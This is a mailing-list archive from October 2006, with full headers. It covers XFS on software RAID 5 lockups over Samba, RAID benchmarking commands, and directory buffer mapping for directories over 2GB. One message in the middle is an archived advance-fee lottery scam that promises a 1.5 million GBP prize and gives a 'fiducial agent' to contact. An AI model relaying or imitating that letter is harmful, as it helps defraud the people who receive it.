Oct 2006 11:21:51 -0500 From: "Ian Williamson" To: "Eric Sandeen" , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: Software raid 5 with XFS causing strange lockup problems In-Reply-To: <452CF770.5050902@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <452CF770.5050902@sandeen.net> X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23044 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M BODY: Custom Rule 7568M X-archive-position: 9255 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: notian@gmail.com Precedence: bulk X-list: xfs Status: O Eric, That's all I have for the event in /var/log/messages.. For the raid configuration I have the following: ian@ionlinux:~$ sudo mdadm --detail /dev/md0 Password: /dev/md0: Version : 00.90.03 Creation Time : Wed Sep 13 22:04:11 2006 Raid Level : raid5 Array Size : 732587712 (698.65 GiB 750.17 GB) Device Size : 244195904 (232.88 GiB 250.06 GB) Raid Devices : 4 Total Devices : 4 Preferred Minor : 0 Persistence : Superblock is persistent Update Time : Mon Oct 9 00:02:30 2006 State : clean Active Devices : 4 Working Devices : 4 Failed Devices : 0 Spare Devices : 0 Layout : left-symmetric Chunk Size : 64K UUID : 86770f56:8e4f51e5:fd754630:f1c65359 Events : 0.54082 Number Major Minor RaidDevice State 0 8 1 0 active sync /dev/sda1 1 8 17 1 active sync /dev/sdb1 2 8 33 2 active sync /dev/sdc1 3 8 49 3 active sync /dev/sdd1 I really have no idea what could be causing this. Sometimes after restart it still won't work through Samba, and I can never perform massive local reads and writes, i.e. a recursive copy off of the raid. On 10/11/06, Eric Sandeen wrote: > Ian Williamson wrote: > > I am running XFS on a software raid 5. I am doing this with a PCI > > controller with 4 SATA drives attached to it. > > > > When I play my music over the network through Samba from the raid > > volume my audio client will often loose the connection. This isn't > > remediated until I restart the machine with the raid controller or > > wait for an unknown amount of time. Either way, the problem still > > persists. > > > > Initially I though that this was Samba's fault, but I think it may be > > xfs related due to what was in /var/log/messages: > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > > ide_generic processor > > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > > 0060:[] Not tainted VLI > > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > > (2.6.18 #1) > > It looks like you've edited this a bit too much, what came before this in the logs? > > Are you running on 4k stacks, out of curiosity? > > -Eric > -- Ian Williamson From owner-xfs@oss.sgi.com Wed Oct 11 09:37:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 09:37:35 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BGbSaG023993 for ; Wed, 11 Oct 2006 09:37:29 -0700 X-ASG-Debug-ID: 1160584606-28742-817-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by cuda.sgi.com (Spam Firewall) with ESMTP id 94934D190490 for ; Wed, 11 Oct 2006 09:36:46 -0700 (PDT) Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9BGajer032207; Wed, 11 Oct 2006 12:36:45 -0400 Received: from pobox-2.corp.redhat.com (pobox-2.corp.redhat.com [10.11.255.15]) by int-mx1.corp.redhat.com (8.12.11.20060308/8.12.11) with ESMTP id k9BGaiMG000988; Wed, 11 Oct 2006 12:36:44 -0400 Received: from [10.15.80.10] (neon.msp.redhat.com [10.15.80.10]) by pobox-2.corp.redhat.com (8.13.1/8.13.1) with ESMTP id k9BGaieR002566; Wed, 11 Oct 2006 12:36:44 -0400 Message-ID: <452D1D9B.7060302@sandeen.net> Date: Wed, 11 Oct 2006 11:36:43 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: Ian Williamson CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: Software raid 5 with XFS causing strange lockup problems References: <452CF770.5050902@sandeen.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23044 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9256 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O Ian Williamson wrote: > Eric, > That's all I have for the event in /var/log/messages.. Weird. I don't even know if that's an oops or if so why, it's just a backtrace. Does your kernel have 4k stacks? -Eric From owner-xfs@oss.sgi.com Wed Oct 11 09:53:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 09:53:47 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BGrbaG025702 for ; Wed, 11 Oct 2006 09:53:38 -0700 X-ASG-Debug-ID: 1160585574-3449-749-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx2.quantum.com (mx2.quantum.com [146.174.252.112]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9441F488D33; Wed, 11 Oct 2006 09:52:54 -0700 (PDT) Received: from ppoq3mim2.QUANTUM.COM (imcq32.quantum.com [10.50.4.172]) by mx2.quantum.com (Switch-3.1.7/Switch-3.1.7) with ESMTP id k9BGYZLu031352; Wed, 11 Oct 2006 10:35:00 -0600 Received: from ppoq3mim3.QUANTUM.COM ([10.50.4.218]) by ppoq3mim2.QUANTUM.COM with Microsoft SMTPSVC(6.0.3790.1830); Wed, 11 Oct 2006 10:49:19 -0600 Received: from MAIL01HQ.adic.com ([172.16.9.27]) by ppoq3mim3.QUANTUM.COM with Microsoft SMTPSVC(6.0.3790.1830); Wed, 11 Oct 2006 10:49:18 -0600 Received: from [172.16.82.67] ([172.16.82.67]) by MAIL01HQ.adic.com with Microsoft SMTPSVC(6.0.3790.1830); Wed, 11 Oct 2006 09:49:11 -0700 Message-ID: <452D2086.2020204@xfs.org> Date: Wed, 11 Oct 2006 11:49:10 -0500 From: Steve Lord User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: David Chinner CC: Christoph Hellwig , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> <452B0240.60203@xfs.org> <20061010091904.GA395@infradead.org> <20061010233124.GX11034@melbourne.sgi.com> In-Reply-To: <20061010233124.GX11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 11 Oct 2006 16:49:11.0903 (UTC) FILETIME=[2D8FA6F0:01C6ED55] X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23046 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9257 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: lord@xfs.org Precedence: bulk X-list: xfs Status: O David Chinner wrote: > On Tue, Oct 10, 2006 at 10:19:04AM +0100, Christoph Hellwig wrote: >> On Mon, Oct 09, 2006 at 09:15:28PM -0500, Steve Lord wrote: >>> Hi Dave, >>> >>> My recollection is that it used to default to on, it was disabled >>> because it needs to map the buffer into a single contiguous chunk >>> of kernel memory. This was placing a lot of pressure on the memory >>> remapping code, so we made it not default to on as reworking the >>> code to deal with non contig memory was looking like a major >>> effort. >> Exactly. The code works but tends to go OOM pretty fast at least >> when the dir blocksize code is bigger than the page size. I should >> give the code a spin on my ppc box with 64k pages if it works better >> there. > > The pagebuf code doesn't use high-order allocations anymore; it uses > scatter lists and remapping to allow physically discontiguous pages > in a multi-page buffer. That is, the pages are sourced via > find_or_create_page() from the address space of the backing device, > and then mapped via vmap() to provide a virtually contigous mapping > of the multi-page buffer. > > So I don't think this problem exists anymore... I was not referring to high order allocations here, but the overhead of doing address space remapping every time a directory is accessed. Steve From owner-xfs@oss.sgi.com Wed Oct 11 11:34:39 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 11:34:47 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BIYbaG001450 for ; Wed, 11 Oct 2006 11:34:38 -0700 X-ASG-Debug-ID: 1160587166-21340-119-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (lucidpixels.com [66.45.37.187]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8803B49203C for ; Wed, 11 Oct 2006 10:19:26 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 5FB3361012A3; Wed, 11 Oct 2006 13:19:24 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by lucidpixels.com (Postfix) with ESMTP id 589321619167A; Wed, 11 Oct 2006 13:19:24 -0400 (EDT) Date: Wed, 11 Oct 2006 13:19:24 -0400 (EDT) From: Justin Piszcz X-X-Sender: jpiszcz@p34.internal.lan To: Ian Williamson cc: Eric Sandeen , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems In-Reply-To: Message-ID: References: <452CF770.5050902@sandeen.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23049 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9258 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jpiszcz@lucidpixels.com Precedence: bulk X-list: xfs Status: O Also, quick question-- What type of speed do you get with 4 drives connected to 1 card vs. I have 8 drives connected to 3-4 cards. What speed write/read? Justin. On Wed, 11 Oct 2006, Ian Williamson wrote: > Eric, > That's all I have for the event in /var/log/messages.. > > For the raid configuration I have the following: > ian@ionlinux:~$ sudo mdadm --detail /dev/md0 > Password: > /dev/md0: > Version : 00.90.03 > Creation Time : Wed Sep 13 22:04:11 2006 > Raid Level : raid5 > Array Size : 732587712 (698.65 GiB 750.17 GB) > Device Size : 244195904 (232.88 GiB 250.06 GB) > Raid Devices : 4 > Total Devices : 4 > Preferred Minor : 0 > Persistence : Superblock is persistent > > Update Time : Mon Oct 9 00:02:30 2006 > State : clean > Active Devices : 4 > Working Devices : 4 > Failed Devices : 0 > Spare Devices : 0 > > Layout : left-symmetric > Chunk Size : 64K > > UUID : 86770f56:8e4f51e5:fd754630:f1c65359 > Events : 0.54082 > > Number Major Minor RaidDevice State > 0 8 1 0 active sync /dev/sda1 > 1 8 17 1 active sync /dev/sdb1 > 2 8 33 2 active sync /dev/sdc1 > 3 8 49 3 active sync /dev/sdd1 > > I really have no idea what could be causing this. Sometimes after > restart it still won't work through Samba, and I can never perform > massive local reads and writes, i.e. a recursive copy off of the raid. > > On 10/11/06, Eric Sandeen wrote: > > Ian Williamson wrote: > > > I am running XFS on a software raid 5. I am doing this with a PCI > > > controller with 4 SATA drives attached to it. > > > > > > When I play my music over the network through Samba from the raid > > > volume my audio client will often loose the connection. This isn't > > > remediated until I restart the machine with the raid controller or > > > wait for an unknown amount of time. Either way, the problem still > > > persists. > > > > > > Initially I though that this was Samba's fault, but I think it may be > > > xfs related due to what was in /var/log/messages: > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > > > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > > > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > > > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > > > ide_generic processor > > > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > > > 0060:[] Not tainted VLI > > > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > > > (2.6.18 #1) > > > > It looks like you've edited this a bit too much, what came before this in > > the logs? > > > > Are you running on 4k stacks, out of curiosity? > > > > -Eric > > > > > -- > Ian Williamson > > From owner-xfs@oss.sgi.com Wed Oct 11 11:42:25 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 11:42:36 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BIgOaG002422 for ; Wed, 11 Oct 2006 11:42:25 -0700 X-ASG-Debug-ID: 1160592101-23688-8-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.185]) by cuda.sgi.com (Spam Firewall) with ESMTP id 377F1D18D6D4 for ; Wed, 11 Oct 2006 11:41:41 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id o25so504264nfa for ; Wed, 11 Oct 2006 11:41:40 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=FFKAMmrnawMwBXR3Q+E0P0hz+GvX9alwb0yW9rvGBMHl1O22kTiLChT42UxUrsL9R36av5nRJENO+8+jOZHWetJSeTl8Yo8vve1hDpd4hO4NTB6NZPqdNLtrJ54gCUuEiT5yhWYORkoSPMDo/g0JAL899c53DJhj7qFmOGlPUEU= Received: by 10.49.29.3 with SMTP id g3mr3707501nfj; Wed, 11 Oct 2006 11:41:38 -0700 (PDT) Received: by 10.49.33.15 with HTTP; Wed, 11 Oct 2006 11:41:38 -0700 (PDT) Message-ID: Date: Wed, 11 Oct 2006 13:41:38 -0500 From: "Ian Williamson" To: "Justin Piszcz" X-ASG-Orig-Subj: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Cc: "Eric Sandeen" , xfs@oss.sgi.com In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <452CF770.5050902@sandeen.net> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9259 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: notian@gmail.com Precedence: bulk X-list: xfs Status: O Justin, How would I go about benchmarking that? Eric, Sorry, but I'm not quite an expert on the internals of Linux. What are 4k stacks and how do I know if I have them. If it helps, I am using Ubuntu with a custom compiled Linux kernel. (This xfs/raid problem was also occured on the default Ubuntu server kernel...) Also, if that trace from /var/log/messages isn't of any use do you know where I can look to find more information on this? Is it possible that this is being caused b the cheap PCI SATA controller card that I am using? (It's the Rosewill RC-209) - Ian On 10/11/06, Justin Piszcz wrote: > Also, quick question-- What type of speed do you get with 4 drives > connected to 1 card vs. I have 8 drives connected to 3-4 cards. > > What speed write/read? > > Justin. > > On Wed, 11 Oct 2006, Ian Williamson wrote: > > > Eric, > > That's all I have for the event in /var/log/messages.. > > > > For the raid configuration I have the following: > > ian@ionlinux:~$ sudo mdadm --detail /dev/md0 > > Password: > > /dev/md0: > > Version : 00.90.03 > > Creation Time : Wed Sep 13 22:04:11 2006 > > Raid Level : raid5 > > Array Size : 732587712 (698.65 GiB 750.17 GB) > > Device Size : 244195904 (232.88 GiB 250.06 GB) > > Raid Devices : 4 > > Total Devices : 4 > > Preferred Minor : 0 > > Persistence : Superblock is persistent > > > > Update Time : Mon Oct 9 00:02:30 2006 > > State : clean > > Active Devices : 4 > > Working Devices : 4 > > Failed Devices : 0 > > Spare Devices : 0 > > > > Layout : left-symmetric > > Chunk Size : 64K > > > > UUID : 86770f56:8e4f51e5:fd754630:f1c65359 > > Events : 0.54082 > > > > Number Major Minor RaidDevice State > > 0 8 1 0 active sync /dev/sda1 > > 1 8 17 1 active sync /dev/sdb1 > > 2 8 33 2 active sync /dev/sdc1 > > 3 8 49 3 active sync /dev/sdd1 > > > > I really have no idea what could be causing this. Sometimes after > > restart it still won't work through Samba, and I can never perform > > massive local reads and writes, i.e. a recursive copy off of the raid. > > > > On 10/11/06, Eric Sandeen wrote: > > > Ian Williamson wrote: > > > > I am running XFS on a software raid 5. I am doing this with a PCI > > > > controller with 4 SATA drives attached to it. > > > > > > > > When I play my music over the network through Samba from the raid > > > > volume my audio client will often loose the connection. This isn't > > > > remediated until I restart the machine with the raid controller or > > > > wait for an unknown amount of time. Either way, the problem still > > > > persists. > > > > > > > > Initially I though that this was Samba's fault, but I think it may be > > > > xfs related due to what was in /var/log/messages: > > > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > > > > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > > > > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > > > > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > > > > ide_generic processor > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > > > > 0060:[] Not tainted VLI > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > > > > (2.6.18 #1) > > > > > > It looks like you've edited this a bit too much, what came before this in > > > the logs? > > > > > > Are you running on 4k stacks, out of curiosity? > > > > > > -Eric > > > > > > > > > -- > > Ian Williamson > > > > > -- Ian Williamson From owner-xfs@oss.sgi.com Wed Oct 11 11:44:00 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 11:44:08 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BIhxaG002651 for ; Wed, 11 Oct 2006 11:44:00 -0700 X-ASG-Debug-ID: 1160592196-21799-165-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (lucidpixels.com [66.45.37.187]) by cuda.sgi.com (Spam Firewall) with ESMTP id F2B49D18D6BA for ; Wed, 11 Oct 2006 11:43:16 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id B657061012A3; Wed, 11 Oct 2006 14:42:59 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by lucidpixels.com (Postfix) with ESMTP id B0DAB1619167A; Wed, 11 Oct 2006 14:42:59 -0400 (EDT) Date: Wed, 11 Oct 2006 14:42:59 -0400 (EDT) From: Justin Piszcz X-X-Sender: jpiszcz@p34.internal.lan To: Ian Williamson cc: Eric Sandeen , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems Subject: Re: [UNSURE] Re: Software raid 5 with XFS causing strange lockup problems In-Reply-To: Message-ID: References: <452CF770.5050902@sandeen.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23050 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9260 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jpiszcz@lucidpixels.com Precedence: bulk X-list: xfs Status: O A simple hdparm -t /dev/md0 for the read speed, but I'd be more interested in write speed. dd if=/dev/zero | pipebench > /path/on/raid.dat Then report the write speed in MB/s. I assume this is on a regular PCI card, which is why I am interested in the speeds. On Wed, 11 Oct 2006, Ian Williamson wrote: > Justin, > How would I go about benchmarking that? > > Eric, > Sorry, but I'm not quite an expert on the internals of Linux. What are > 4k stacks and how do I know if I have them. If it helps, I am using > Ubuntu with a custom compiled Linux kernel. (This xfs/raid problem was > also occured on the default Ubuntu server kernel...) > > Also, if that trace from /var/log/messages isn't of any use do you > know where I can look to find more information on this? Is it possible > that this is being caused b the cheap PCI SATA controller card that I > am using? (It's the Rosewill RC-209) > > - Ian > > On 10/11/06, Justin Piszcz wrote: > > Also, quick question-- What type of speed do you get with 4 drives > > connected to 1 card vs. I have 8 drives connected to 3-4 cards. > > > > What speed write/read? > > > > Justin. > > > > On Wed, 11 Oct 2006, Ian Williamson wrote: > > > > > Eric, > > > That's all I have for the event in /var/log/messages.. > > > > > > For the raid configuration I have the following: > > > ian@ionlinux:~$ sudo mdadm --detail /dev/md0 > > > Password: > > > /dev/md0: > > > Version : 00.90.03 > > > Creation Time : Wed Sep 13 22:04:11 2006 > > > Raid Level : raid5 > > > Array Size : 732587712 (698.65 GiB 750.17 GB) > > > Device Size : 244195904 (232.88 GiB 250.06 GB) > > > Raid Devices : 4 > > > Total Devices : 4 > > > Preferred Minor : 0 > > > Persistence : Superblock is persistent > > > > > > Update Time : Mon Oct 9 00:02:30 2006 > > > State : clean > > > Active Devices : 4 > > > Working Devices : 4 > > > Failed Devices : 0 > > > Spare Devices : 0 > > > > > > Layout : left-symmetric > > > Chunk Size : 64K > > > > > > UUID : 86770f56:8e4f51e5:fd754630:f1c65359 > > > Events : 0.54082 > > > > > > Number Major Minor RaidDevice State > > > 0 8 1 0 active sync /dev/sda1 > > > 1 8 17 1 active sync /dev/sdb1 > > > 2 8 33 2 active sync /dev/sdc1 > > > 3 8 49 3 active sync /dev/sdd1 > > > > > > I really have no idea what could be causing this. Sometimes after > > > restart it still won't work through Samba, and I can never perform > > > massive local reads and writes, i.e. a recursive copy off of the raid. > > > > > > On 10/11/06, Eric Sandeen wrote: > > > > Ian Williamson wrote: > > > > > I am running XFS on a software raid 5. I am doing this with a PCI > > > > > controller with 4 SATA drives attached to it. > > > > > > > > > > When I play my music over the network through Samba from the raid > > > > > volume my audio client will often loose the connection. This isn't > > > > > remediated until I restart the machine with the raid controller or > > > > > wait for an unknown amount of time. Either way, the problem still > > > > > persists. > > > > > > > > > > Initially I though that this was Samba's fault, but I think it may be > > > > > xfs related due to what was in /var/log/messages: > > > > > > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982701] Modules linked in: > > > > > serio_raw i2c_nforce2 pcspkr forcedeth r8169 nvidia_agp agpgart > > > > > i2c_core psmouse sg evdev xfs dm_mod sd_mod generic sata_nv ide_disk > > > > > ehci_hcd ide_cd cdrom sata_sil ohci_hcd usbcore libata scsi_mod > > > > > ide_generic processor > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982985] EIP: > > > > > 0060:[] Not tainted VLI > > > > > Oct 9 22:37:33 ionlinux kernel: [105657.982986] EFLAGS: 00010246 > > > > > (2.6.18 #1) > > > > > > > > It looks like you've edited this a bit too much, what came before this > > > > in > > > > the logs? > > > > > > > > Are you running on 4k stacks, out of curiosity? > > > > > > > > -Eric > > > > > > > > > > > > > -- > > > Ian Williamson > > > > > > > > > > > -- > Ian Williamson > > From owner-xfs@oss.sgi.com Wed Oct 11 12:07:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 12:08:04 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BJ7waG004501 for ; Wed, 11 Oct 2006 12:07:59 -0700 X-ASG-Debug-ID: 1160589283-11145-160-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from vsmtp3.tin.it (vsmtp3alice.tin.it [212.216.176.143]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4176A48C69B for ; Wed, 11 Oct 2006 10:54:44 -0700 (PDT) Received: from pswm17.cp.tin.it (192.168.70.65) by vsmtp3.tin.it (7.2.072.1) id 450F0E2D00A5E9B1; Wed, 11 Oct 2006 19:45:53 +0200 Message-ID: <10e387afbca.doris.phillips@virgilio.it> Date: Wed, 11 Oct 2006 18:45:53 +0100 (GMT+01:00) From: Reply-To: X-ASG-Orig-Subj: Annoucement on Lotto Award Subject: Annoucement on Lotto Award Mime-Version: 1.0 Content-Type: text/plain;charset="UTF-8" Content-Transfer-Encoding: 7bit X-Originating-IP: 87.210.3.34 X-Barracuda-Spam-Score: 1.52 X-Barracuda-Spam-Status: No, SCORE=1.52 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, ADVANCE_FEE_2, MISSING_HEADERS, NO_REAL_NAME, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23049 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name 0.19 MISSING_HEADERS Missing To: header 0.65 ADVANCE_FEE_2 Appears to be advance fee fraud (Nigerian 419) 0.13 TO_CC_NONE No To: or Cc: header 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) To: undisclosed-recipients:; X-archive-position: 9261 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: doris.phillips@virgilio.it Precedence: bulk X-list: xfs Status: O Annoucement on Lotto Award Sir/Madam Being officially assigned to select winners across the globe, the management is pleased to inform you of the result of the Intercasino GBP millions British Lottery Winners International E-mail programs held on the 28th September 2006 and result where release on the 11th October. Your E-mail address attached to ticket number 653-908-321-675 with serial main number 345- 790-241-671 drew lucky star numbers 34-32-90-43-32 which consequently won in the 2nd category, you have therefore been approved for a lump sum pay out of GBP1.500.000.00, with REFERENCE #: 67/80/IPD and BATCH #: EGGS-541-623-782. Due to mix up of some numbers and names, we ask that you keep your winning information confidential until your claims has been processed and your money remitted to you. This is part of our security protocol to avoid double claiming and unwarranted abuse of this program by some participants. All participants were selected through a computer ballot system drawn from over 100,000 company and 50,000,000 individual email addresses and names from all over the world. This lottery was promoted and sponsored by Sotware Companies in order to enhance and promote the use of Internet Explorer Users and Microsoft-wares around the globe. To file for your claim, please contact our fiducial agent: Mr Louis E. Greg email: greglouisconsul@netscape.net Tel:+44 703 195 8098 Fax:+44 709 287 2619 FOREIGN SERVICE MANAGER Congratulations once more from our members of staff and thank you for being part of our promotional program. Sincerely, Mrs Berth Paige. International Online Coordinator From owner-xfs@oss.sgi.com Wed Oct 11 13:14:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Wed, 11 Oct 2006 13:14:28 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9BKEKaG016276 for ; Wed, 11 Oct 2006 13:14:21 -0700 X-ASG-Debug-ID: 1160597617-11784-356-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.188]) by cuda.sgi.com (Spam Firewall) with ESMTP id D1A4148F0AB for ; Wed, 11 Oct 2006 13:13:37 -0700 (PDT) Received: by nf-out-0910.google.com with SMTP id o25so543529nfa for ; Wed, 11 Oct 2006 13:13:36 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; 